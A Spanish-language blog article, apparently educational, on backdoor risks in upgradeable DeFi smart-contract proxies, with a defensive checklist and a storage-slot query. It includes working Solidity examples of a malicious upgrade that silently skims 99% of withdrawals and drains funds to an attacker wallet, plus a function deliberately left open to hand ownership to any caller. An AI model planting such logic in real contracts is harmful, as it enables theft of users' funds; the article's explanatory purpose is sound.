Presiona ESC para cerrar

Backdoors en Smart Contracts: Riesgos de Upgradeability

En el 90% de los protocolos DeFi donde metes tus stablecoins, hay un backdoor legal metido directamente en el código: la famosa Upgradeability. La idea suena bien: arreglar bugs y optimizar gas. ¿La realidad? Con un solo clic pueden cambiar el código del contrato en producción por un script random para drenar la liquidez hasta el último centavo.

Anoche me quedé hasta las tres de la mañana revisando un fork recién salido en Base. Pensé que ya estaba cansado y viendo cosas donde no las había, pero no: es una clásica bomba de tiempo en el proxy. ¡Y el proyecto tiene auditoría! Un PDF impecable firmado por una firma top. Vamos a desglosarlo.

Engaño arquitectónico: Cómo funcionan los proxies

Para el usuario común, un smart contract es un monolito: lo despliegas y te olvidas. Pero si necesitas que sea actualizable, la arquitectura se divide en dos: el Proxy y la Lógica (Implementation). El usuario siempre interactúa con el Proxy. El Proxy no tiene lógica de negocio propia; es tonto. Su única función es redirigir las llamadas usando delegatecall.

Ahí es donde está la trampa. delegatecall es la función más peligrosa de Solidity. Ejecuta el código del contrato objetivo (la Implementación), pero en el contexto del almacenamiento (storage) del propio Proxy. Es decir, las variables se quedan en el Proxy, pero el código se trae de afuera. Si el admin cambia la dirección de la Implementación en el contrato del Proxy: pum, tienes un protocolo actualizado. O un backdoor.

Los patrones principales que te venden como seguridad:

  • UUPS (UUPSUpgradeable): El slot con la dirección de la lógica está en el propio contrato de implementación. Si el admin despliega una lógica rota que olvide heredar de UUPS, el contrato se convierte en un ladrillo. Para siempre. Los fondos se quedan atrapados. ¿Irónico? Demasiado.
  • Transparent Proxy Pattern (TPP): Aquí un contrato dedicado llamado ProxyAdmin gestiona la actualización. Separa los roles: los usuarios llaman a la lógica de negocio y el admin solo toca las funciones de actualización. Parece más limpio, pero consume gas como loco debido a las validaciones constantes de msg.sender a nivel de fallback.
  • Beacon Proxy: Un único contrato faro (Beacon) guarda la dirección de la lógica para cientos de proxies idénticos. Es superútil para colecciones NFT o pools. Cambias la dirección en el Beacon y actualizas mil contratos a la vez. ¿Práctico para un hacker? Totalmente. Un solo exploit y se cae la red entera de pools.

Anatomía de un backdoor: Cómo te van a robar los fondos

¿Crees que hace falta un exploit complejo para robar? Para nada. Al admin le basta con modificar una sola línea en la nueva implementación.

Miremos el código real. Armé rápido un ejemplo clásico de un contrato "honesto" que, con un simple movimiento, se convierte en una estafa.

Fase 1: El contrato honesto (Implementation_V1.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
// Un pool normal. Los inversores depositan y acumulan rendimientos.
contract VaultV1 is Initializable {
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    // Usamos initializer en lugar de constructor. Si olvidas correrlo, cualquiera puede adueñarse del contrato.
    function initialize() public initializer {
        admin = msg.sender; // Guarda la wallet del deployer o, idealmente, un multisig.
    }
    function deposit() external payable {
        require(msg.value > 0, "Zero funds");
        balances[msg.sender] += msg.value;
        totalFunds += msg.value;
    }
    // Retiro limpio. Sin comisiones ocultas... por ahora.
    function withdraw(uint256 _amount) external {
        require(balances[msg.sender] >= _amount, "Low balance");
        balances[msg.sender] -= _amount;
        totalFunds -= _amount;
        payable(msg.sender).transfer(_amount);
    }
}

Todo limpio. Los auditores dan el visto bueno. El protocolo arranca, la liquidez sube y la comunidad celebra en los chats.

Fase 2: La actualización nocturna (Implementation_V2.sol)

Pasa un mes. Ya hay 5000 ETH en el pool. El admin (o un hacker que robó la private key) despliega la segunda versión. Llama a la función upgradeTo() en el proxy y mete la nueva dirección.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV2 is Initializable {
    // CRUCIAL: El storage layout debe ser exactamente idéntico al de V1.
    // Si mueves una variable, rompes los mappings y se rompe todo el estado.
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    
    address public constant shadowWallet = 0x9965507B1a05951961A0175f653429f1c08afde6; // Wallet offshore
    // Dummy para evitar que el initializer se ejecute dos veces
    function initialize() public initializer {}
    function deposit() external payable {
        balances[msg.sender] += msg.value;
        totalFunds += msg.value;
    }
    // Aquí está el backdoor. ¿Lo vería un usuario promedio? No.
    function withdraw(uint256 _amount) external {
        // Por fuera parece normal, pero...
        require(balances[msg.sender] >= _amount, "Low balance");
        
        // Fee oculto: desviamos silenciosamente el 99% a shadowWallet. 
        // ¿Por qué no el 100%? Para que la transacción no falle de golpe; que piensen que es lag de la interfaz.
        uint256 tax = (_amount * 99) / 100;
        uint256 userShare = _amount - tax;
        balances[msg.sender] -= _amount;
        totalFunds -= _amount;
        payable(shadowWallet).transfer(tax); 
        payable(msg.sender).transfer(userShare);
    }
    // O simplemente el botón de "exit rug" para el admin
    function emergencyDrain() external {
        require(msg.sender == admin, "Not an admin");
        // Drenamos todo el balance del contrato. Adiós, liquidez.
        payable(shadowWallet).transfer(address(this).balance);
    }
}

El usuario va a la dApp, hace clic en Withdraw y firma la transacción. La interfaz se queda cargando. Le llega el 1% de su depósito a la wallet; el resto ya voló. Vas a quejarte al grupo de Telegram, pero los mods ya están borrando los mensajes y baneando gente. Un clásico.

Colisión de slots de memoria: El backdoor oculto más avanzado

A veces el admin ni siquiera necesita meter código sospechoso como emergencyDrain(). Hay un truco más sofisticado: la colisión intencional de slots de memoria (Storage Slot Collision).

En la EVM no existen los nombres de las variables. Solo hay slots (del 0 al 2256-1) donde los datos se escriben de forma secuencial. Si cambias el orden en el que declaras las variables en la nueva implementación, puedes hacer que escribir en una variable cualquiera, como userLimit, sobrescriba la dirección del admin.

Hace poco vi un contrato donde, al actualizarlo, metieron un simple bool justo antes de la variable owner. Eso desalineó todo el storage. Cualquier usuario que llamara a la función para cambiar su propia configuración se convertía automáticamente en el dueño del contrato y podía vaciarlo. Los devs juraban que fue un error sin querer. Claro, les creemos. El drenaje fue directo a una wallet que dos días antes había estado fondeada por Tornado Cash. Pura coincidencia, seguro.

Checklist paranoico: Cómo no terminar siendo la liquidez de otro

Si crees que Etherscan te va a salvar, eres muy ingenuo. El check verde de "Verified" en un contrato proxy solo significa que el código de ese proxy está limpio. Hay que escarbar más profundo.

Aquí tienes una tabla de referencia con lo que debes revisar antes de meter en un protocolo más dinero de lo que cuesta tu almuerzo.

Parámetro del contratoIdeal (Safe)Peligro (Red Flag)Cómo verificarlo en el explorer
Tipo de contratoInmutable (Immutable)Proxy (UUPS / Transparent)Pestaña Contract -> Si aparecen los botones Read as Proxy / Write as Proxy, es actualizable.
Gobernanza (Admin)Multisig (Gnosis Safe 3/5) + TimelockEOA (una wallet normal de un solo admin)Lee el slot de admin o owner y revisa esa dirección. Si no tiene código (no es un contrato), el proyecto depende de una sola persona. Si le roban la clave privada, te quedas en cero.
Timelock (Retraso temporal)De 48 horas a 7 díasNo tiene o está configurado en 0Revisa si las funciones de actualización pasan obligatoriamente por un contrato timelock. Si el admin puede tirar un upgradeTo de forma inmediata, sal de ahí.
Slot de implementaciónHasheado bajo el estándar EIP-1967Slot personalizado u ocultoMonitorea las migraciones de storage. Revisa la pestaña State en Etherscan cuando ocurran actualizaciones.

Los timelocks son otra ilusión de seguridad para que los minoristas duerman tranquilos. Los devs van sacando pecho en Discord diciendo: «¡Tenemos un timelock de 48 horas! ¡Cero upgrades sorpresa!».

En teoría suena de locos. El admin tiene un margen de dos días para encolar la transacción de actualización. Eso te daría tiempo de olerte la jugada, armar revuelo y salvar tus fondos. Pero, ¿en la práctica? A todo el mundo se la suda.

¿Quién monitoriza la mempool o los eventos de timelock 24/7? Nadie. La peña duerme, trabaja o se está tomando unas cañas. El hacker o el admin estafador mete la transacción el viernes por la noche. El domingo de madrugada expira el timelock y se cambia el código. El lunes por la mañana te despiertas con el balance a cero y cara de tonto. El desfase temporal solo te salva si tienes alertas automatizadas (tipo Defender Sentinel o Tenderly) y bots listos para un withdraw de emergencia. ¿No tienes bot? Te quedarás mirando cómo vuela tu pasta mientras esperas en la cola del matadero.

Toca hablar de esa mierda oculta que apenas se menciona en las auditorías estándar.

Minas arquitectónicas: Métodos ocultos de inicialización

Al desplegar un contrato normal, se ejecuta el constructor. Corre una sola vez, guarda las variables necesarias en el storage y desaparece. En arquitecturas proxy, el constructor de la implementación no toca el storage del proxy. Por eso se usa una función inicializadora, como el método initialize de arriba.

Ahí es donde empieza la magia de la ingeniería de backdoors. ¿Qué pasa si el admin se dejó una segunda función de inicialización? ¿O un método oculto de re-initialization?

OpenZeppelin incluye el modificador reinitializer(uint8 version). Sirve para inicializar variables nuevas al actualizar a la V2. Si el dev se monta su propia película o se le «olvida» proteger esta función de reconfiguración, cualquiera podría sobreescribir variables críticas.

Ejemplo de código de migración vulnerable (visto para sentencia o metido aposta):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract VaultV3 is Initializable {
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    
    // Variables nuevas para V3
    bool public isPaused;
    address public trustedRecoveryAddress;

    // Reinitializer para el upgrade.
    // Ojo a esta linea. ¿Ves la cagada?
    function upgradeConfig(address _recovery) external {
        // Falta el require(msg.sender == admin, "Not admin");
        // O han metido logica que resetea el estado de inicializacion
        trustedRecoveryAddress = _recovery;
        
        // Regalito para el dev:
        admin = msg.sender; // ¡Boom! Cualquiera ejecuta esto y se adueña del contrato
    }
}

Dirás: «Es un bug demasiado cantoso, saltaría a la vista». Ni de coña. Se camufla tras fórmulas matemáticas raras o dentro de librerías de terceros que se importan in deploy. La función parece un cálculo de rendimientos inofensivo, pero por detrás te mete un overwrite directo en el slot del admin.

Inspección on-chain: Lectura directa de slots

Si el equipo va a meter un rug pull, no va a verificar el código del backdoor en Etherscan. Desplegarán la implementación directamente en bytecode sin verificar. En el explorer solo verás un chorro de hex. Da mal rollo, claro.

Para saber a dónde apunta el proxy ahora mismo, hay que ir a la raíz: los slots de memoria de la EVM. Según el estándar EIP-1967, la dirección de la lógica debe estar en un slot fijo para evitar colisiones de storage.

Dirección del slot de implementación (EIP-1967):
bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
Lo que nos deja este hash: 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc

Sabiendo usar eth_getStorageAt, te da igual si el contrato está verificado o no. Metes la dirección del proxy, consultas ese slot y obtienes la dirección hex real del contrato lógico actual. Si esa dirección cambia sin avisar, saca los fondos cagando leches.

# Ejemplo de consulta RPC vía curl para auditar el contenido real del slot
curl https://mainnet.infura.io/v3/YOUR_KEY \
  -X POST \
  -H "Content-Type: application/json" \
  --data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["0xProxyContractAddress", "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", "latest"],"id":1}'

La respuesta devuelve 32 bytes. Los últimos 20 bytes son la dirección real del contrato que controla tu pasta en este preciso milisegundo. Olvídate de lo que pinte la interfaz del proyecto; esa dirección es la que ejecutará el delegatecall.

¿Cuál es la conclusión?

Grábate esto: la upgradeability siempre es un pacto con el diablo entre la flexibilidad del dev y la seguridad del inversor. Si un proyecto farda de miles de millones en TVL (Total Value Locked), pero usa un proxy con un multisig 2 de 3 sin timelock, ese dinero no es de los inversores. Pertence a los tres tipos que tienen las llaves. O al primer hacker que se la cuele con un phishing.

Si el contrato es modificable, estás confiando en personas, no en código. Y la historia de las criptos demuestra que la gente flaquea, se deja chantajear o pierde la cabeza en cuanto ve cifras con más de seis ceros.


FAQ

La upgradeability (actualizabilidad) es un patrón de arquitectura que divide un protocolo en dos partes: un contrato Proxy que da la cara al usuario y un contrato de Implementation que tiene la lógica de negocio real. Esto permite a los devs cambiar el código subyacente usando rutinas de delegatecall. El riesgo principal viene de la centralización del poder. Quien controle las admin keys puede cambiar instantáneamente la dirección de la Implementation original y auditada por código malicioso. Esto altera las transiciones de estado del protocolo y permite un drain (vaciado) completo de todos los criptoactivos bloqueados.

Para detectar un backdoor de admin, hay que verificar la arquitectura del contrato en un explorer como Etherscan. Se comprueba la presencia del storage slot EIP-1967 (0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc) usando el método RPC eth_getStorageAt para extraer el puntero oculto de la implementación. Si este slot devuelve una dirección y la variable controladora (ProxyAdmin o owner) apunta a una cuenta EOA (Externally Owned Account) única, en lugar de a una wallet multisig descentralizada o a un contrato Timelock, la arquitectura tiene un backdoor funcional.

Una storage slot collision (colisión de slots de almacenamiento) es una vulnerabilidad crítica de la EVM. Ocurre cuando una nueva versión de la implementación del contrato declara variables de estado (state variables) en un orden diferente o con tipos de datos que no coinciden con la versión anterior. Esto fuerza a las variables a mapearse exactamente en los mismos storage slots de 32 bytes. Debido a este desalineamiento (misalignment), funciones totalmente ajenas pueden sobrescribir variables críticas por accidente. Al final, una interacción estándar de cualquier usuario puede corromper el state layout, borrar balances o sobrescribir en secreto el slot de la dirección del admin para darle el ownership total al atacante.
Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...